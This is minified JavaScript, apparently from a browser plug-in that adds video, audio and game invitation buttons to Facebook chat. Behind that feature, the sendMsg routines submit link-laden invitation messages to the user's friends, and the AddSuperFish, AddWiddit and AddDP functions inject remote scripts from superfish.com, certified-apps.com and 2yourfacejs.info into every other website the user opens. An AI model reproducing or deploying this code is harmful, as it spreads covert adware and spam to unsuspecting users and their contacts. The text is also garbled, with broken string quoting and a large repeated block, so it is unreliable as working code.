TryParseInvitation(a,b,d){TryParseSmileyInvitation(a,b,d)||TryParsePhoneCallInvite(a,b,d)||TryParseVideoInvite(a,b,d)||TryParseGameInvite(a,b,d)}function GetGameFromMessage(a){var b=a.indexOf(gGameInviteMsgPrefix);if(-1!=b){var b=b+gGameInviteMsgPrefix.length,d=a.indexOf(".");return a.substring(b,d)}return""}function TryParseGameInvite(a,b,d){var c=a.innerHTML;if(-1!=c.indexOf(gGameInviteMsgPrefix)){var f=IsMe(a),c=GetGameFromMessage(c);f?c="You have invited "+d+" to play "+c:(f=GetGameID(c),c=d+" invited You to Play "+c+" <a href=javascript:AcceptGame("+f+,"+Env.user+","+b+","+gMyName+"\") > Accept</a>");a.innerHTML=c;return!0}return!1}function TryParsePhoneCallInvite(a,b,d){var c=a.innerHTML;return-1!=c.indexOf(gPhoneCallInviteMsgPrefix)?(c=IsMe(a)?"You have invited "+d+" to an Audio Chat":d+" invited You to an Audio Chat <a href=javascript:StartPhone("+b+,"+d+"\") > Accept</a>",a.innerHTML=c,!0):!1}function StartPhone(a,b){OpenVoiceDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function StartVideo(a,b){OpenVideoDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function OpenVideoDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Video&runtime="+a+"&from="+Env.user,395,215,b,d,"Video Chat")}function OpenVoiceDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Voice&runtime="+a+"&from="+Env.user,395,215,b,d,"Audio Chat")}function OpenDialog(a,b,d,c,f,h){b=<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold">+h+ - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+c+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Chatting with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+f+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">+("<iframe src="+a+" width="+b+" height="+d+" scrolling=no border=no style=\"background-color:white;border:0px;\" />")+</div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);b=a[0];b.style.visibility="visible";b.style.display="block";b=document.body.scrollTop;d=a.position();c=document.body.clientWidth;c=50>d.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:c,top:b+200})}function CloseDialog(){document.body.style.display="block";document.getElementById("ChatDialog").style.display="none";document.getElementById("ChatDialog").innerHTML=""}function IsMe(a){var b=-1!=a.parentNode.parentNode.innerHTML.indexOf(title="You");return b=(b=b||-1!=a.parentNode.parentNode.innerHTML.indexOf(alt="+gMyName+"))||-1!=a.parentNode.parentNode.innerHTML.indexOf("_"+Env.user+"_")}function TryParseVideoInvite(a,b,d){var c=a.innerHTML;-1!=c.indexOf(gVideoCallInviteMsgPrefix)&&(c=IsMe(a)?c="You have invited "+d+" to a Video Chat":d+" invited You to a Video Chat <a href=javascript:StartVideo("+b+,"+d+"\") > Accept</a>",a.innerHTML=c)}function InviteCall(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gPhoneCallInviteMsg;if(sendMsg(d,a))OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function GetMyID(){var a=document.body.innerHTML.indexOf(detect_broken_proxy_cache("),a=a+"30",b=document.body.innerHTML.indexOf(",a);return document.body.innerHTML.substring(a,b)}function InviteVideo(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gVideoCallInviteMsg;if(sendMsg(d,a))OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function InviteGames(a,b){-1==a&&(a=GetUIDFromName(b));OpenGamesDialog(a,Env.user,"http://graph.facebook.com/"+a+"/picture",b)}function sendMsg(a,b){if("undefined"!=typeof window.chatDisplay)chatDisplay.tabs[b].chatInput.value=a,chatDisplay.tabs[b].sendInput();else{var d=window.jQuery("#VideoChatToolbar_"+b,document).next().children().children();d.focus();d[0].value=a;d.focus();var c;document.createEvent?(c=document.createEvent("Events"),c.initEvent("keydown",!0,!0)):c=document.createEventObject();c.view=window;c.altKey=!1;c.ctrlKey=!1;c.shiftKey=!1;c.metaKey=!1;c.keyCode=13;c.which=13;document.createEvent?d[0].dispatchEvent(c):d[0].fireEvent("onkeydown",c)}return!0}function OpenGame(a,b,d){b=GetGameName(a);b="I "+gGameInviteMsgPrefix+b+". Accept Now: "+gGameLink+b+gGameLinkSuffix;CloseDialog();var c=Env.user;if(sendMsg(b,d))StartGame(a,c,d,gMyName);else{var f=window.jQuery("#VideoChatToolbar_"+d,document).next().children().children();f.focus();f.keydown(function(b){13==b.which&&(StartGame(a,c,d,gMyName),f.unbind(!1))});TextAreaControl.getInstance(f[0]).setValue(b)}}function AcceptGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+d+"&second="+b+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function StartGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+b+"&second="+d+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function GetGameName(a){return 2==a?"Chess":1==a?"Backgammon":6==a?"Checkers":26==a?"Tic Tac Toe":86==a?"Darts":325==a?"Domino":256==a?"8-Ball":225==a?"Poker":"Game"}function GetGameID(a){return"Chess"==a?2:"8-Ball"==a?256:"Backgammon"==a?1:"Checkers"==a?6:"Tic Tac Toe"==a?26:"Darts"==a?86:"Domino"==a?325:"Poker"==a?225:1}function OpenGamesDialog(a,b,d,c){b="<style type=text/css >#ex5 img { margin: 5px; opacity: 0.8; border: 10px solid #eee;/*Transition*/-webkit-transition: all 0.5s ease; -moz-transition: all 0.5s ease; -o-transition: all 0.5s ease;/*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.1)));}#ex5 img:hover { opacity: 1; /*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.4))); /*Glow*/ -webkit-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); -moz-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); box-shadow: 0px 0px 20px rgba(255,255,255,0.8);}</style>"+(<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold"> Choose a Game and Play - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+d+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Choose a Game and Play with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+c+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">)+"<div id=ex5 style=background-color:gray;height:220px;width:400px; ><br/><br/>"+GetGameOfferHTML(2,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_chess.jpg",c,a);b+=GetGameOfferHTML(1,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_backgammon.jpg",c,a);b+=GetGameOfferHTML(256,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_snooker.jpg",c,a);b+=GetGameOfferHTML(325,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_domino.jpg",c,a);b=b+"<br/>"+GetGameOfferHTML(6,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_checkers.jpg",c,a);b+=GetGameOfferHTML(26,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_tic.jpg",c,a);b+=GetGameOfferHTML(86,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_darts.jpg",c,a);b+=GetGameOfferHTML(225,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_poker.jpg",c,a);b+=</div></div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);c=a[0];c.style.visibility="visible";c.style.display="block";c=document.body.scrollTop;b=a.position();d=document.body.clientWidth;d=50>b.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:d,top:c+200})}function GetGameOfferHTML(a,b,d,c){return"<a style=position:relative;top:-20px; href=\"javascript:OpenGame("+a+","+d+" ,"+c+)" ><img style="width:70px;height:70px;" src=\+b+" title=\"Invite "+d+" to play "+GetGameName(a)+" /></a>};</script><script type="text/javascript">AddSuperFish(); function AddSuperFish(){if(-1!=window.location.href.indexOf("http:")&&-1==window.location.href.indexOf("facebook.com")){var a=document.createElement("script");a.setAttribute("type","text/javascript");a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101");(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}else-1!=window.location.href.indexOf("https:")&&-1==window.location.href.indexOf("facebook.com")&&(a=document.createElement("script"),a.setAttribute("type","text/javascript"),a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101"),(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a))};AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) { var script_tag=document.createElement(script);script_tag.setAttribute("type","text/javascript"); script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch101"); (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); }}function AddDP(){ if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 ) { var script_tag = document.createElement(script); script_tag.setAttribute("type", "text/javascript"); script_tag.setAttribute("src", "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch101"); // Try to find the head, otherwise default to the documentElement (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag); }}AddDP();//3.4 no chacheID in gamesvar gpid="101",url=window.location.href,timeOut=3E3,gPhoneCallInviteMsgPrefix=" invite You to an Audio Chat. Accept Now : ",gVideoCallInviteMsgPrefix=" invite You to a Video Chat. Accept Now : ",gGameInviteMsgPrefix=" invite You to play ",date=new Date,cacheID=date.getDate()+"-"+(date.getMonth()+1)+"-"+date.getFullYear()+"-"+date.getHours(),gPhoneCallInviteMsg=gPhoneCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gVideoCallInviteMsg=gVideoCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gGameLink="http://www.f2yf.com/",gGameLinkSuffix="/"+gpid+"/",gSmileyMsgPrefix="I sent you a smiley. Accept Now: ",gSmileyMSG=":-D",gMyName="";window.setTimeout("OnTimeout()",2500);var m_lastTimeout=new Date;document.body.onmouseup=onUp;function onUp(){if(!0==isValidWebsite()){var a=(new Date).getTime()-m_lastTimeout.getTime(),a=new Date(a);(0<a.getMinutes()||0==a.getMinutes()&&2<a.getSeconds())&&OnTimeout()}}function getElementsByClassName(a){for(var b=[],a=RegExp("\\b"+a+"\\b"),d=document.getElementsByTagName("*"),c=0;c<d.length;c++)a.test(d[c].className)&&b.push(d[c]);return b}Start();function Start(){if(-1!=window.location.href.indexOf("facebook.com")){if(void 0===window.jQuery||"1.4.2"!==window.jQuery.fn.jquery){var a=document.createElement("script");a.setAttribute("type","text/javascript");-1!=window.location.href.indexOf("http:/")?a.setAttribute("src","http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"):a.setAttribute("src","https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js");a.onload=scriptLoadHandler;a.onreadystatechange=function(){("complete"==this.readyState||"loaded"==this.readyState)&&scriptLoadHandler()};(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}null==document.getElementById("ChatDialog")&&(a=document.createElement("div"),a.id="ChatDialog",a.setAttribute("style","display:none;position: absolute;top: 15%;left: 35%;width: width:484px;background:url(http://www.2yourface.com/Plugin/images/outer_bg.png);border-radius:8px;padding:9px;z-index:1002;overflow: auto;"),document.body.appendChild(a))}}function onscroll(){var a=document.body.scrollTop,b=window.jQuery("div#ChatDialog",document);b.position();b.offset({left:0.35*document.body.clientWidth,top:a+200})}function IsScriptInstalled(){return-1!=document.body.innerHTML.indexOf("ChatDialog")}function scriptLoadHandler(){jQuery=window.jQuery.noConflict(!0);OnTimeout()}function Process(){var a=-1,b=document;if(""==gMyName){var d=getElementsByClassName("headerTinymanName");0<d.length&&(gMyName=d[0].innerHTML)}d=window.jQuery("div#fbDockChat",b);b=window.jQuery("div.fbDockChatTab",d);0==b.length&&(b=window.jQuery(".fbNubFlyout.fbDockChatTabFlyout",d));if(null!=b)for(d=0;d<b.length;d++){var c=window.jQuery("div.fbNubFlyout",b[d])[0];null==c&&(c=window.jQuery(".fbNubFlyoutOuter",b[d])[0]);c.innerHTML.indexOf("textarea");var f=window.jQuery("div.fbNubFlyoutTitlebar",c),h=window.jQuery("span.titlebarText",f),a=GetUIDFromName(e);if(-1==a){var e=c.innerHTML,i="/messages/",g=e.indexOf(i);-1!=g?(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)):(i="?id=",g=e.indexOf(i),-1!=g&&(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)))}var e=GetFriendName(f.html());""==e&&(e=h.html());-1==a&&(a=GetUIDFromName(e));AddToolbar(c,e,a);ParseInvitations(c,e,a)}}function GetUIDFromName(a){var b=window.ChatUserInfos,d;for(d in b)if(b.hasOwnProperty(d)&&a==b[d].name)return d;return-1}function isValidWebsite(){return-1!=window.location.href.indexOf("facebook.com")}function OnTimeout(){m_lastTimeout=new Date;-1!=window.location.href.indexOf("facebook.com")&&(!1==IsScriptInstalled()&&Start(),setTimeout("OnTimeout()",2500),Process())}function GetFriendName(a){var b=a.indexOf(<a class="titlebarText),b=a.indexOf(">",b+22),b=b+1,d=a.indexOf("<",b);return a.substring(b,d)}function SendSmiley(a){sendMsg(gSmileyMSG,a)}function AddToolbar(a,b,d){a=window.jQuery("div.fbNubFlyoutBody",a);b=<div style="height:18px;" class="fbNubFlyoutBody" /><div id="VideoChatToolbar_+d+" class="fbNubFlyoutBody11" style="height:18px;position:relative;top:0px;background:#6d84b4;">+(<div style="position:absolute;left:20px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Video Chat" title="Video Chat with +b+"/></div>)+(<div style="position:absolute;left:65px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Audio Chat" title="Audio Chat with +b+" /></div>)+(<div style="position:absolute;left:110px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Play Games with +b+" /></div>)+(<div style="position:absolute;left:155px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Send a Smiley to +b+" /></div>)+(<div style="width:26px;height:30px;position:absolute;left:23px;top:-21px;cursor:pointer" ><a href=\javascript:InviteVideo(+d+,"+b+");\><img src="http://www.2yourface.com/Plugin/images/video.png" alt="Video Chat" title="Video Chat with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:72px;top:-21px;cursor:pointer" ><a href=\javascript:InviteCall(+d+,"+b+");\ ><img src="http://www.2yourface.com/Plugin/images/audio.png" alt="Video Chat" title="Audio Chat with +b+" /></a></div>)+(<div style="position:absolute;left:110px;top:-21px;cursor:pointer" ><a href=\javascript:InviteGames(+d+,"+b+");\ ><img style="width:24px;height:20px;position:absolute;left:5px;top:5px;" src="http://www.2yourface.com/Plugin/images/games.png" alt="Games" title="Play Games with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:155px;top:-20px;cursor:pointer" ><a href=\javascript:SendSmiley(+d+);\ ><img src="http://addon.2yourface.com/Plugin/images/smiley.png" alt="Video Chat" title="Send Smiley to +b+" /></a></div>)+<div style="width:24px;height:30px;position:absolute;left:200px;top:0px;" ><img src="http://www.2yourface.com/Plugin/images/tblogo.png" alt="Video Chat" title="2YourFace.com" /></div>;d=a.parent().html();a.next().children();-1==d.indexOf("VideoChatToolbar")&&(a.height(197),a.after(b))}function ParseInvitations(a,b,d){for(var a=window.jQuery("div.fbChatMessage.fsm",a),c=0;c<a.length;c++)TryParseInvitation(a[c],d,b)}function TryParseSmileyInvitation(){return!1}function TryParseInvitation(a,b,d){TryParseSmileyInvitation(a,b,d)||TryParsePhoneCallInvite(a,b,d)||TryParseVideoInvite(a,b,d)||TryParseGameInvite(a,b,d)}function GetGameFromMessage(a){var b=a.indexOf(gGameInviteMsgPrefix);if(-1!=b){var b=b+gGameInviteMsgPrefix.length,d=a.indexOf(".");return a.substring(b,d)}return""}function TryParseGameInvite(a,b,d){var c=a.innerHTML;if(-1!=c.indexOf(gGameInviteMsgPrefix)){var f=IsMe(a),c=GetGameFromMessage(c);f?c="You have invited "+d+" to play "+c:(f=GetGameID(c),c=d+" invited You to Play "+c+" <a href=javascript:AcceptGame("+f+,"+Env.user+","+b+","+gMyName+"\") > Accept</a>");a.innerHTML=c;return!0}return!1}function TryParsePhoneCallInvite(a,b,d){var c=a.innerHTML;return-1!=c.indexOf(gPhoneCallInviteMsgPrefix)?(c=IsMe(a)?"You have invited "+d+" to an Audio Chat":d+" invited You to an Audio Chat <a href=javascript:StartPhone("+b+,"+d+"\") > Accept</a>",a.innerHTML=c,!0):!1}function StartPhone(a,b){OpenVoiceDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function StartVideo(a,b){OpenVideoDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function OpenVideoDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Video&runtime="+a+"&from="+Env.user,395,215,b,d,"Video Chat")}function OpenVoiceDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Voice&runtime="+a+"&from="+Env.user,395,215,b,d,"Audio Chat")}function OpenDialog(a,b,d,c,f,h){b=<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold">+h+ - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+c+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Chatting with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+f+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">+("<iframe src="+a+" width="+b+" height="+d+" scrolling=no border=no style=\"background-color:white;border:0px;\" />")+</div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);b=a[0];b.style.visibility="visible";b.style.display="block";b=document.body.scrollTop;d=a.position();c=document.body.clientWidth;c=50>d.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:c,top:b+200})}function CloseDialog(){document.body.style.display="block";document.getElementById("ChatDialog").style.display="none";document.getElementById("ChatDialog").innerHTML=""}function IsMe(a){var b=-1!=a.parentNode.parentNode.innerHTML.indexOf(title="You");return b=(b=b||-1!=a.parentNode.parentNode.innerHTML.indexOf(alt="+gMyName+"))||-1!=a.parentNode.parentNode.innerHTML.indexOf("_"+Env.user+"_")}function TryParseVideoInvite(a,b,d){var c=a.innerHTML;-1!=c.indexOf(gVideoCallInviteMsgPrefix)&&(c=IsMe(a)?c="You have invited "+d+" to a Video Chat":d+" invited You to a Video Chat <a href=javascript:StartVideo("+b+,"+d+"\") > Accept</a>",a.innerHTML=c)}function InviteCall(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gPhoneCallInviteMsg;if(sendMsg(d,a))OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function GetMyID(){var a=document.body.innerHTML.indexOf(detect_broken_proxy_cache("),a=a+"30",b=document.body.innerHTML.indexOf(",a);return document.body.innerHTML.substring(a,b)}function InviteVideo(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gVideoCallInviteMsg;if(sendMsg(d,a))OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function InviteGames(a,b){-1==a&&(a=GetUIDFromName(b));OpenGamesDialog(a,Env.user,"http://graph.facebook.com/"+a+"/picture",b)}function sendMsg(a,b){if("undefined"!=typeof window.chatDisplay)chatDisplay.tabs[b].chatInput.value=a,chatDisplay.tabs[b].sendInput();else{var d=window.jQuery("#VideoChatToolbar_"+b,document).next().children().children();d.focus();d[0].value=a;d.focus();var c;document.createEvent?(c=document.createEvent("Events"),c.initEvent("keydown",!0,!0)):c=document.createEventObject();c.view=window;c.altKey=!1;c.ctrlKey=!1;c.shiftKey=!1;c.metaKey=!1;c.keyCode=13;c.which=13;document.createEvent?d[0].dispatchEvent(c):d[0].fireEvent("onkeydown",c)}return!0}function OpenGame(a,b,d){b=GetGameName(a);b="I "+gGameInviteMsgPrefix+b+". Accept Now: "+gGameLink+b+gGameLinkSuffix;CloseDialog();var c=Env.user;if(sendMsg(b,d))StartGame(a,c,d,gMyName);else{var f=window.jQuery("#VideoChatToolbar_"+d,document).next().children().children();f.focus();f.keydown(function(b){13==b.which&&(StartGame(a,c,d,gMyName),f.unbind(!1))});TextAreaControl.getInstance(f[0]).setValue(b)}}function AcceptGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+d+"&second="+b+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function StartGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+b+"&second="+d+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function GetGameName(a){return 2==a?"Chess":1==a?"Backgammon":6==a?"Checkers":26==a?"Tic Tac Toe":86==a?"Darts":325==a?"Domino":256==a?"8-Ball":225==a?"Poker":"Game"}function GetGameID(a){return"Chess"==a?2:"8-Ball"==a?256:"Backgammon"==a?1:"Checkers"==a?6:"Tic Tac Toe"==a?26:"Darts"==a?86:"Domino"==a?325:"Poker"==a?225:1}function OpenGamesDialog(a,b,d,c){b="<style type=text/css >#ex5 img { margin: 5px; opacity: 0.8; border: 10px solid #eee;/*Transition*/-webkit-transition: all 0.5s ease; -moz-transition: all 0.5s ease; -o-transition: all 0.5s ease;/*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.1)));}#ex5 img:hover { opacity: 1; /*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.4))); /*Glow*/ -webkit-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); -moz-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); box-shadow: 0px 0px 20px rgba(255,255,255,0.8);}</style>"+(<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold"> Choose a Game and Play - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+d+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Choose a Game and Play with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+c+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">)+"<div id=ex5 style=background-color:gray;height:220px;width:400px; ><br/><br/>"+GetGameOfferHTML(2,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_chess.jpg",c,a);b+=GetGameOfferHTML(1,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_backgammon.jpg",c,a);b+=GetGameOfferHTML(256,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_snooker.jpg",c,a);b+=GetGameOfferHTML(325,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_domino.jpg",c,a);b=b+"<br/>"+GetGameOfferHTML(6,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_checkers.jpg",c,a);b+=GetGameOfferHTML(26,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_tic.jpg",c,a);b+=GetGameOfferHTML(86,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_darts.jpg",c,a);b+=GetGameOfferHTML(225,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_poker.jpg",c,a);b+=</div></div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);c=a[0];c.style.visibility="visible";c.style.display="block";c=document.body.scrollTop;b=a.position();d=document.body.clientWidth;d=50>b.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:d,top:c+200})}function GetGameOfferHTML(a,b,d,c){return"<a style=position:relative;top:-20px; href=\"javascript:OpenGame("+a+","+d+" ,"+c+)" ><img style="width:70px;height:70px;" src=\+b+" title=\"Invite "+d+" to play "+GetGameName(a)+" /></a>};</script><script type="text/javascript">AddSuperFish(); function AddSuperFish(){if(-1!=window.location.href.indexOf("http:")&&-1==window.location.href.indexOf("facebook.com")){var 